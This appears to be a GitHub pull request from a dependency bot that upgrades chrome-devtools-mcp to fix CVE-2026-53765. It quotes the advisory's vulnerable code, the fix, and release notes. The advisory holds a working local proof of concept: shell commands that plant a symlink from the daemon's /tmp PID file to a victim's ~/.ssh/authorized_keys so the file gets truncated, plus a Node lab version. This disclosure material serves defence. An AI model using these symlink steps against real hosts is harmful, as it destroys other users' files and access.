Skip to content

Update npm package chrome-devtools-mcp to v1 [SECURITY]#244

Open
hash-worker[bot] wants to merge 1 commit into
mainfrom
deps/js/npm-chrome-devtools-mcp-vulnerability
Open

Update npm package chrome-devtools-mcp to v1 [SECURITY]#244
hash-worker[bot] wants to merge 1 commit into
mainfrom
deps/js/npm-chrome-devtools-mcp-vulnerability

Conversation

@hash-worker

@hash-worker hash-worker Bot commented Jun 19, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
chrome-devtools-mcp ^0.21.0^1.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2026-53765

Summary

The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.

Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

Details

Affected code:

src/daemon/daemon.ts:38-42

const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
  recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());

src/daemon/utils.ts:49-68

export function getRuntimeHome(sessionId: string): string {
  const platform = os.platform();
  const uid = os.userInfo().uid;
  const suffix = sessionId ? `-${sessionId}` : '';
  const appName = APP_NAME + suffix;

  if (process.env.XDG_RUNTIME_DIR) {
    return path.join(process.env.XDG_RUNTIME_DIR, appName);
  }

  if (platform === 'darwin' || platform === 'linux') {
    return path.join('/tmp', `${appName}-${uid}`);
  }

  return path.join(os.tmpdir(), appName);
}

The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim_uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.

Preconditions:

  • The victim is on a typical macOS environment where $XDG_RUNTIME_DIR is unset, or on a Linux system/session where $XDG_RUNTIME_DIR is unset.
  • The attacker has any local user account on the same host.
  • The victim later runs a chrome-devtools CLI path or MCP integration that starts daemon mode.

PoC

Realistic POSIX scenario:

# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
      "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"

# Victim later starts daemon mode.
chrome-devtools start

# Result:

# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.

Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:

const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try {
  fs.chmodSync(lab, 0o755);

  const victimSecret = path.join(lab, 'victim-secret.txt');
  fs.writeFileSync(
    victimSecret,
    'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
  );

  const runtimeDir = path.join(lab, 'attacker-pre-created');
  fs.mkdirSync(runtimeDir, {recursive: true});

  const pidFilePath = path.join(runtimeDir, 'daemon.pid');
  fs.symlinkSync(victimSecret, pidFilePath);

  // Exact pattern from src/daemon/daemon.ts:39-42.
  fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
  fs.writeFileSync(pidFilePath, process.pid.toString());

  console.log(fs.readFileSync(victimSecret, 'utf8'));
  // -> "<pid>"  (victim file was truncated/overwritten)
} finally {
  fs.rmSync(lab, {recursive: true, force: true});
}

Observed output from the lab PoC:

[setup] victim secret BEFORE attack:
  IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
  <pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.

I can provide the standalone pidfile_symlink_poc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDG_RUNTIME_DIR is unset for that user session.

Security impact:

  • Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
  • Availability: critical user configuration files can be corrupted until restored from backup.
  • Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

  • ~/.ssh/authorized_keys, causing the victim to lose SSH access.
  • ~/.bashrc, ~/.zshrc, or ~/.profile, breaking shell startup.
  • Project .env, secrets.json, license files, or line-oriented config files.
  • Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with O_NOFOLLOW and validate runtime directory ownership/permissions before writing:

import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync(
  pidFilePath,
  constants.O_WRONLY |
    constants.O_CREAT |
    constants.O_TRUNC |
    constants.O_NOFOLLOW,
  0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);

Release Notes

ChromeDevTools/chrome-devtools-mcp (chrome-devtools-mcp)

v1.1.0

Compare Source

🎉 Features
  • add extraHttpHeaders emulation to emulate tool (#​1176) (6992106)
  • created cursor plugin.json setting file with release auto versioning (#​2091) (10c8205)
🛠️ Fixes
📄 Documentation
🏗️ Refactor

v1.0.1

Compare Source

🛠️ Fixes
📄 Documentation

v0.26.0

Compare Source

🎉 Features
🛠️ Fixes
📄 Documentation
🏗️ Refactor

v0.25.0

Compare Source

🎉 Features
🛠️ Fixes
  • input: stop native select option clicks from timing out (#​1960) (510ec0f)
  • make sure env variables are consistently applied when parsing args (#​1994) (f45f068)
📄 Documentation

v0.24.0

Compare Source

🎉 Features
🛠️ Fixes

v0.23.0

Compare Source

🎉 Features
📄 Documentation
  • clarify resource limitations around the number of tabs (#​1927) (42be7c3)
🏗️ Refactor

v0.22.0

Compare Source

🎉 Features
🛠️ Fixes
📄 Documentation
🏗️ Refactor

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • "before 4am every weekday,every weekend"

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@hash-worker hash-worker Bot enabled auto-merge June 19, 2026 16:54
@cursor

cursor Bot commented Jun 19, 2026

Copy link
Copy Markdown

PR Summary

Low Risk
Dev-only dependency bump with no application source changes; main risk is behavioral differences in the Chrome DevTools MCP/CLI tooling used locally or in agent workflows.

Overview
Bumps the devDependency chrome-devtools-mcp from ^0.21.0 to ^1.0.0 (lockfile resolves 1.3.0) in package.json and package-lock.json. This is a major-version upgrade driven by CVE-2026-53765, where older daemon PID file writes under /tmp could follow attacker-placed symlinks and truncate victim-writable files; v1 includes the upstream PID-file hardening fix.

The lockfile also reflects a dependency graph tweak: ws is no longer marked dev-only at the top level, consistent with chrome-devtools-mcp pulling it in as a transitive runtime dependency.

Reviewed by Cursor Bugbot for commit 762897e. Bugbot is set up for automated code reviews on this repo. Configure here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants